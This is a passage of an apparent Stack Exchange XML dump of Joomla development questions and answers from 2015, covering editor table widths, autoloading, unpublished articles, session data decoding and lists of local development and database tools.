  <row Id="12134" PostTypeId="1" AcceptedAnswerId="12135" CreationDate="2015-08-11T15:25:34.697" Score="1" ViewCount="440" Body="&lt;p&gt;When I copy an existing &lt;code&gt;table&lt;/code&gt; (4 columns, 5 rows) in the JCE Editor (WYSIWYG view) and then paste. The &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;style&lt;/code&gt; properties in the &lt;em&gt;pasted&lt;/em&gt; &lt;code&gt;table&lt;/code&gt; are &quot;defaulted&quot; and I need them to remain &lt;em&gt;empty&lt;/em&gt;, as they are in the table I copied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to configure this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table &lt;code&gt;width&lt;/code&gt; attribute appears to be defaulting to the current width of the editor (&lt;code&gt;1146px&lt;/code&gt; in my case) and the &lt;code&gt;style&lt;/code&gt; attribute is defaulting to &lt;code&gt;font-family: verdana, arial, helvetica, sans-serif; width: 1146px;&lt;/code&gt; - which crucially contains the &lt;code&gt;width&lt;/code&gt; property as well! This then overrides the &lt;code&gt;class&lt;/code&gt; that is applied to the &lt;code&gt;table&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the configuration options for the JCE Editor, but I cannot find any settings for these two properties. Where is it getting these values from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, these properties are only defaulted when I copy and &lt;strong&gt;paste&lt;/strong&gt; the table. If I create a new table then these properties do not default and remain empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JCE Editor 2.5.2 (current)&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2015-08-11T17:43:11.573" LastActivityDate="2015-08-11T17:43:11.573" Title="Change default table &quot;width&quot; and &quot;style&quot; properties in JCE Editor" Tags="|joomla-2.5|jce|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12135" PostTypeId="2" ParentId="12134" CreationDate="2015-08-11T17:41:37.043" Score="2" Body="&lt;p&gt;OMG! The JCE Editor was just being annoyingly clever!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;table&lt;/code&gt; in question has a particular class applied to it. This class is copied across no problem, however, in my &lt;code&gt;editor.css&lt;/code&gt; this class is defined as having &lt;code&gt;width:100%&lt;/code&gt;. When &lt;em&gt;pasting&lt;/em&gt; the table with this class already applied, it seems it was &lt;em&gt;calculating&lt;/em&gt; the width as 100% the width of the editor viewport (1146px as stated above)!! Reducing this to &lt;code&gt;width:50%&lt;/code&gt; resulted in a width half that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that for any percentage width, the editor was calculating the corresponding &lt;code&gt;px&lt;/code&gt; width! If I set a fixed width in the CSS eg. &lt;code&gt;width:960px&lt;/code&gt; then the editor did not default anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workaround is to change &lt;code&gt;width:100%&lt;/code&gt; in editor.css to &lt;code&gt;min-width:100%&lt;/code&gt; - the styles still work as intended and the editor does not try to default the width!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would seem to be very &quot;clever&quot;, however, I can't for the life of me think why anyone would want this?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2015-08-11T17:41:37.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12136" PostTypeId="2" ParentId="1150" CreationDate="2015-08-11T19:54:36.550" Score="7" Body="&lt;p&gt;You can use a condition to refuse anywho is not in a specific group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$groups = $user-&amp;gt;groups;&#xA;&#xA;if (in_array(8, $groups)):&#xA;&#xA; //only enter if the user is in the group 8 (group 8 = Super-Administrator)&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5720" LastEditorUserId="5720" LastEditDate="2016-06-24T00:26:39.127" LastActivityDate="2016-06-24T00:26:39.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12138" PostTypeId="2" ParentId="12132" CreationDate="2015-08-11T21:19:26.310" Score="2" Body="&lt;p&gt;I don't see where in your code you are outputting the object that you mentioned, normally the query produced by getListQuery should result in an array. I'm presuming that object is an example of one that might be contained within the array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so then I would replace your group concat as follows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('GROUP_CONCAT(cast(concat(tma.filename,\'|\',tma.filepath)AS char) SEPARATOR \',\') AS attachments')&#xA;              -&amp;gt;join('LEFT', '#__bestia_tickets_messages_attachments as tma ON a.id = tma.messageid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that would give you something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;attachments&quot;]=&amp;gt; string(217) &quot;Test.png|asdaadasasgsdafasdasdasgasfasf, Bildschirmfoto 2015-07-14 um 17.10.43.png|52d0833774bc94698e4101c021deebecf5724a4c65d1efc477948180c072c61778b6c0174040cdef6d94d8669251f0a6646c5caf6e1966b9796625979973b2a4.png&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So say you have elsewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $this-&amp;gt;getListQuery();&#xA;$rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can now iterate over those rows as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($rows as &amp;amp;$row)&#xA;{&#xA; $attachments = explode(',' $row-&amp;gt;attachments);&#xA; $res = array();&#xA;&#xA;  foreach ($attachments as $attachment) &#xA;  {&#xA;    $attachment = explode('|', $attachment);&#xA;    $obj = new stdClass; &#xA;    $obj-&amp;gt;filename = $attachment[0];&#xA;    $obj-&amp;gt;filepath = $attachment[1];&#xA;    $res[] = $obj;&#xA;  }&#xA;&#xA;  $row-&amp;gt;attachments = $res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be on the safe side I would also replace the two concat separators '|' and ',' with a string you are sure won't be present in the filename/path. E.g in fabrik we use something like '//&lt;strong&gt;..&lt;/strong&gt;//' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside I'm not sure why you are loading the tickets model with the getListQuery as well as it appears not to be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative method would be to dump the group concat altogether and to do it as two separate queries: Lets say you have got the list of tickets as $tickets (an array of objects).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Utilities\ArrayHelper;&#xA;$ids = ArrayHelper::getColumn($tickets, 'id');&#xA;$ids = ArrayHelper::toInteger($ids);&#xA;&#xA;if (!empty($ids)) &#xA;{&#xA;  $query = $db-&amp;gt;getQuery(true);&#xA;  $query-&amp;gt;select('filename, filepath')&#xA;  -&amp;gt;from('#__bestia_tickets_messages_attachments')&#xA; -&amp;gt;where('ticket_id IN (' . implode(',', $ids) . ')');&#xA;  $db-&amp;gt;setQuery($query);&#xA;  $attachments = $db-&amp;gt;loadObjectList('ticket_id');&#xA;}&#xA;&#xA;foreach ($tickets as &amp;amp;$ticket) &#xA;{&#xA;  $ticket-&amp;gt;attachments = ArrayHelper::getValue($attachments, $ticket-&amp;gt;id, array());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may be marginally slower, but is more readable.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-08-11T21:19:26.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12139" PostTypeId="2" ParentId="12127" CreationDate="2015-08-12T01:28:50.290" Score="2" Body="&lt;p&gt;If you're already familiar with bootstrap before then the default joomla template protostar is the best place for you to start. It's very easy to follow the protostar code, and will give you basic idea on how the joomla template framework works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm myself not an anti-external-template-framework, but in my opinion, the native joomla template framework is already powerful for anything you need for designing a website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of external template frameworks are developed by template provider companies that need something that can adapt their specific needs and workflow, to make easier for them to deliver templates every month.&#xA;Most of them use their own method to extend the native template framework which can lead you to a complicated and non-native things, if you're new to joomla template development.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-08-12T01:28:50.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12140" PostTypeId="2" ParentId="12125" CreationDate="2015-08-12T07:40:34.683" Score="1" Body="&lt;p&gt;You can call any page with an additional parameter to show only the component (tmpl=component).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to add a custom button in toolbar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bar = JToolbar::getInstance('toolbar');&#xA;$button = &quot;&amp;lt;a class=\&quot;btn btn-small\&quot; onclick=\&quot;window.open(this.href,'{$title}','scrollbars=yes,resizable=yes,location=no,menubar=no,status=no,toolbar=no,left=0,top=0,width=960,height=720');return false;\&quot; href=\&quot;index.php?option=com_mycomponent&amp;amp;view=calendar&amp;amp;tmpl=component\&quot; target=\&quot;_blank\&quot; data-original-title=\&quot;{$title}\&quot; rel=\&quot;tooltip\&quot;&amp;gt;&amp;lt;i class=\&quot;{$icon}\&quot;&amp;gt;&amp;lt;/i&amp;gt; {$title}&amp;lt;/a&amp;gt;&quot;;&#xA;$bar-&amp;gt;appendButton('Custom', $button, 'calendar');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can review other answers &lt;a href=&quot;https://joomla.stackexchange.com/search?q=tmpl%3Dcomponent&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-08-12T07:40:34.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12142" PostTypeId="1" CreationDate="2015-08-12T10:07:09.943" Score="2" ViewCount="402" Body="&lt;p&gt;I have an extension that is using autoloader to import helpers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works well in localhost development environment but in the live server the classes are not loaded. I get the error &quot;&lt;em&gt;Fatal error: Class 'MYExtensionText' not found&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In &lt;code&gt;components/com_myextension/myextension.php&lt;/code&gt; I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('MYExtension', __DIR__ . '/helpers');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) In &lt;code&gt;components/com_myextension/helpers/myextension.php&lt;/code&gt; I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::discover('MYExtension', __DIR__);&#xA;JLoader::registerPrefix('MYExtension', __DIR__);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3) So, I expect that this classes are autoloaded in &lt;code&gt;components/com_myextension/helpers/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myextension.php / MYExtension &#xA;text.php / MYExtensionText&#xA;model/list.php / MYExtensionModelList&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This WORKS FINE in localhost (mamp with php 5.5) but does not work in the server, using CentOS 5 with php 5.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2015-08-12T18:10:43.640" Title="Autoloader not working import, discover &amp; registerPrefix" Tags="|autoload|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12143" PostTypeId="1" CreationDate="2015-08-12T10:56:58.403" Score="27" ViewCount="3235" Body="&lt;p&gt;I'm new to Joomla development and I would like to know what tools and/or software can assist me in in developing both the backend and frontend of a Joomla site. This would also include any future maintenance and updates in the future.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-19T15:01:05.220" LastActivityDate="2021-08-03T13:52:39.097" Title="What tools can I use to help assist me with Joomla development?" Tags="|joomla-3.x|development|workflow|" AnswerCount="10" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12144" PostTypeId="2" ParentId="12143" CreationDate="2015-08-12T11:02:14.497" Score="16" Body="&lt;h2&gt;Environments:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wampserver.com/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Wamp&lt;/strong&gt;&lt;/a&gt; (Windows)&lt;br&gt;&#xA;&lt;strong&gt;WampServer&lt;/strong&gt; is a Windows web development environment. It allows you to create web applications with Apache2, PHP and a MySQL database. Alongside, PhpMyAdmin allows you to manage easily your databases.  &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.mamp.info/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Mamp&lt;/strong&gt;&lt;/a&gt; (Mac: Both Community and Commercial versions)&lt;br&gt;&#xA;&lt;strong&gt;MAMP&lt;/strong&gt; installs a local server environment in a matter of seconds on your Mac OS X computer. It comes free of charge (community edition), and is easily installed. MAMP will not compromise any existing Apache installation already running on your system. You can install Apache, PHP and MySQL without starting a script or having to change any configuration files! &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;Lamp (Linux)&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.apachefriends.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Xampp&lt;/strong&gt;&lt;/a&gt; (available for all platforms)&lt;br&gt;&#xA;&lt;strong&gt;XAMPP&lt;/strong&gt; is a completely free, easy to install Apache distribution containing MySQL, PHP, and Perl. The XAMPP open source package has been set up to be incredibly easy to install and to use.  &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.vagrantup.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Vagrant&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;strong&gt;Vagrant&lt;/strong&gt; is a tool for building complete development environments. With an easy-to-use workflow and focus on automation, Vagrant lowers development environment setup time, increases development/production parity, and makes the &quot;works on my machine&quot; excuse a relic of the past.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomlatools/joomla-vagrant&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomlatools Vagrant box&lt;/strong&gt;&lt;/a&gt; (Virtual machine with Lamp stack)&lt;br&gt;&#xA;This project automates the setup of a Joomla development environment. It is capable of running a full featured LAMP stack with a single command so that you can start working on your Joomla projects quickly.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.virtualbox.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Oracle VM VirtualBox&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;VirtualBox&lt;/strong&gt; is a powerful, feature-rich virtualization product for enterprise as well as home use, it is freely available as Open Source Software (GNU GPL). &lt;br /&gt;&lt;br /&gt;&#xA;VirtualBox runs on Windows, Linux, Macintosh, and Solaris hosts and supports a large number of guest operating systems including but not limited to Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7, Windows 8), DOS/Windows 3.x, Linux (2.4, 2.6 and 3.x), Solaris and OpenSolaris, OS/2, and OpenBSD.&lt;br /&gt;&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.ampps.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Ampps&lt;/strong&gt;&lt;/a&gt; (available for all platforms)&lt;br /&gt;&#xA;&lt;strong&gt;AMPPS&lt;/strong&gt; is an easy to install software stack of Apache, Mysql, PHP, Perl, Python and Softaculous auto-installer that can be used on Desktops and office servers.&lt;br /&gt;&lt;br /&gt;   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/12143/what-tools-can-i-use-to-help-assist-me-with-joomla-development/12327#12327&quot;&gt;Joomla3 System Requirements&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-26T08:23:29.047" CommentCount="9" CommunityOwnedDate="2015-08-13T07:27:19.487" ContentLicense="CC BY-SA 3.0" />
  <row Id="12145" PostTypeId="1" AcceptedAnswerId="12146" CreationDate="2015-08-12T15:11:22.573" Score="5" ViewCount="2436" Body="&lt;p&gt;I've noticed that when an article is unpublished in the back end, it's still viewable when an admin is logged into the front end. This has causes some confusion with some (easily confused) clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to hide unpublished articled completely without deleting them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise that some templates will add an &lt;code&gt;unpublished&lt;/code&gt; label to the article on the front end making it very clear it's unpublished, however my template doesn't add this feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is a very simple solution that I have over looked already?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2022-11-15T08:49:04.080" Title="Unpublished Articles - hide" Tags="|joomla-3.x|articles|administration|front-end|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12146" PostTypeId="2" ParentId="12145" CreationDate="2015-08-12T15:33:06.507" Score="4" Body="&lt;p&gt;From what I already know, this is a purposely built-in feature, which allows admins (only) to view and manage articles via the frontend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Social Media &lt;em&gt;Executive&lt;/em&gt; writes a blog post and sets it to unpublished. They then send the link to the Social Media &lt;em&gt;Manager/Directory&lt;/em&gt; to review and maybe tweak. This saves them having to login to the backend and find the article in the Content Manager.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Admittedly, this feature could be confusing to some, however unfortunately, it's one of those situations where not everyone can be catered for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you &lt;strong&gt;could&lt;/strong&gt; do is create a Template Override, check the status of the article and if it's set to &lt;em&gt;unpublished&lt;/em&gt;, then perform an action such as redirect the user to the homepage or display a notification.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-08-12T15:33:06.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12147" PostTypeId="2" ParentId="12145" CreationDate="2015-08-12T15:35:09.687" Score="1" Body="&lt;p&gt;Unpublished articles are visible in front-end &lt;strong&gt;ONLY&lt;/strong&gt; for administrators etc. Your clients will never see unpublished article in front-end, even if they are registered (You should never give them higher permissions then this). So there is no way they can get confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to disable this feature for administrators on front-end you will need to modify following models: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;article.php&lt;/li&gt;&#xA;&lt;li&gt;articles.php&lt;/li&gt;&#xA;&lt;li&gt;featured.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-08-12T15:35:09.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12148" PostTypeId="2" ParentId="12133" CreationDate="2015-08-12T16:01:13.717" Score="2" Body="&lt;p&gt;In that field data is split into namespaces. Namespace and its data is separated by &lt;code&gt;|&lt;/code&gt;, so if you use &lt;code&gt;explode('|',$data)&lt;/code&gt; you will achieve array where odd index element is an data array and each even index element is an namespace. Here is an example how to decode this variable into namespaces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('data')-&amp;gt;from('#__session');&#xA;$db-&amp;gt;setQuery($query);&#xA;$raw_data = str_replace('\0\0\0', chr(0) . '*' . chr(0), (string)$db-&amp;gt;loadObject()-&amp;gt;data);&#xA;$raw_data = explode('|',$raw_data);&#xA;&#xA;$data = array();&#xA;for( $idx = 1, $ic=count($raw_data); $idx&amp;lt;$ic; $idx+=2 ) {&#xA;    $data[$raw_data[$idx-1]] = unserialize($raw_data[$idx]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$data&lt;/code&gt; variable will contain session data split into separate array elements where array key is namespace. The default namespace should be first and its index should be &lt;code&gt;__default&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2015-08-12T16:19:50.910" LastActivityDate="2015-08-12T16:19:50.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12149" PostTypeId="2" ParentId="12132" CreationDate="2015-08-12T16:59:53.337" Score="1" Body="&lt;p&gt;GROUP_CONCAT is a performance killer. Not to mention that in your query it is possible that it will join rows before it will filter them. So will waste a lot of memory and cpu time on bigger data sets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would remove this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select('GROUP_CONCAT(cast(concat(tma.filename,\', \',tma.filepath)AS char) SEPARATOR \', \') AS attachments')&#xA;              -&amp;gt;join('LEFT', '#__bestia_tickets_messages_attachments as tma ON a.id = tma.messageid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create function to bind attachments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function bindAttachments(Array &amp;amp;$items) {&#xA;    // Get messages ids&#xA;    $ids = array();&#xA;    foreach( $items AS $item ) {&#xA;        $ids[] = (int)$item-&amp;gt;id;&#xA;    }&#xA;&#xA;    // Get attachments&#xA;    $query = $this-&amp;gt;_db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*');&#xA;    $query-&amp;gt;from('#__bestia_tickets_messages_attachments');&#xA;    $query-&amp;gt;where('messageid IN('.implode(',', $ids).')');&#xA;    $query-&amp;gt;order('messageid ASC');&#xA;&#xA;    $this-&amp;gt;_db-&amp;gt;setQuery($query);&#xA;    $attachments = $this-&amp;gt;_db-&amp;gt;loadObjectList();&#xA;&#xA;    // Create attachments map by ID&#xA;    $attachments_map = array();&#xA;    foreach( $attachments AS $attachment ) {&#xA;        if( !isset($attachments_map[$attachment-&amp;gt;messageid]) ) {&#xA;            $attachments_map[$attachment-&amp;gt;messageid] = array();&#xA;        }&#xA;&#xA;        $attachments_map[$attachment-&amp;gt;messageid][] = $attachment;&#xA;    } &#xA;&#xA;    // Attach attachments to items array&#xA;    foreach( $items AS &amp;amp;$item ) {&#xA;        if( isset($attachments_map[$item-&amp;gt;id]) ) {&#xA;            $item-&amp;gt;attachments = $attachments_map[$item-&amp;gt;id];&#xA;        } else {&#xA;            $item-&amp;gt;attachments = array();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now just override your &lt;code&gt;getItems&lt;/code&gt; function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getItems() {&#xA;    $items = parent::getItems();&#xA;    $this-&amp;gt;bindAttachments($items);&#xA;&#xA;    return $items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-08-12T16:59:53.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12150" PostTypeId="2" ParentId="12142" CreationDate="2015-08-12T18:10:43.640" Score="2" Body="&lt;p&gt;I found the solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('myextension', JPATH_COMPONENT . '/helpers');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note the lower case!&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2015-08-12T18:10:43.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12151" PostTypeId="2" ParentId="12125" CreationDate="2015-08-13T06:53:02.210" Score="1" Body="&lt;p&gt;If you use bootstrap.modal , the form will be within your view, then the property $form should be archived through Model ( the model should be JModelForm ).&#xA;If you use modal with iframe , ( similar to Joomla Article choose ) , you have to create view for the new form.&lt;/p&gt;&#xA;" OwnerUserId="5711" LastActivityDate="2015-08-13T06:53:02.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12153" PostTypeId="2" ParentId="12143" CreationDate="2015-08-13T07:15:09.110" Score="6" Body="&lt;h1&gt;Databases&lt;/h1&gt;&#xA;&lt;h2&gt;Design / Development / Management:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.mysql.com/products/workbench/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL Workbench&lt;/a&gt;&lt;/strong&gt; - (Windows, Mac, Linux)&lt;br /&gt;&#xA;&lt;strong&gt;MySQL Workbench&lt;/strong&gt; is a unified visual tool for database architects, developers, and DBAs. MySQL Workbench provides data modeling, SQL development, and comprehensive administration tools for server configuration, user administration, backup, and much more.  &lt;br /&gt;&#xA;With MySQL Workbench you can work directly on databases on local or remote servers. It is available on Windows, Linux and Mac OS X.&lt;br /&gt;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sequelpro.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Sequel Pro&lt;/strong&gt;&lt;/a&gt; - (Mac)&lt;br /&gt;&#xA;&lt;strong&gt;Sequel Pro&lt;/strong&gt; is a fast, easy-to-use Mac database management application for working with MySQL databases. It gives you direct access to your MySQL databases on local and remote servers.&lt;br /&gt;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.phpmyadmin.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;phpMyAdmin&lt;/a&gt;&lt;/strong&gt; (MySQL administration tool written on PHP - usually found on every host)&lt;br /&gt;&#xA;&lt;strong&gt;phpMyAdmin&lt;/strong&gt; is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL, MariaDB and Drizzle. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.&lt;br /&gt;&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.adminer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adminer&lt;/a&gt;&lt;/strong&gt; (Similar to phpMyAdmin, but more simplistic and lightweight)&lt;br /&gt;&#xA;&lt;strong&gt;Adminer&lt;/strong&gt; (formerly phpMinAdmin) is a full-featured database management tool written in PHP. Conversely to phpMyAdmin, it consist of a single file ready to deploy to the target server. Adminer is available for MySQL, PostgreSQL, SQLite, MS SQL, Oracle, Firebird, SimpleDB, Elasticsearch and MongoDB.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;br /&gt;&#xA;&lt;h2&gt;Server Backup Utilities&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.mysqldumper.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;MySQLDumper&lt;/strong&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;strong&gt;MySQLDumper&lt;/strong&gt; is an open source project (GNU-license), PHP and Perl based tool for backing up MySQL databases.  It is especially suited for shared hosting webspaces, where you don't have shell access and really useful when there is need to backup/upload/restore large databases, where php scripts running out of time, because of the max execution time.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.phpmybackuppro.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;phpMyBackupPro&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;phpMyBackup Pro&lt;/strong&gt; is a very easy to use, free, web-based MySQL backup application, licensed under the GNU GPL.&#xA;You can create scheduled backups, manage and restore them, download or email them and a lot more!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://sourceforge.net/projects/automysqlbackup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;AutoMySQLBackup&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;strong&gt;AutoMySQLBackup&lt;/strong&gt; with a basic configuration will create Daily, Weekly and 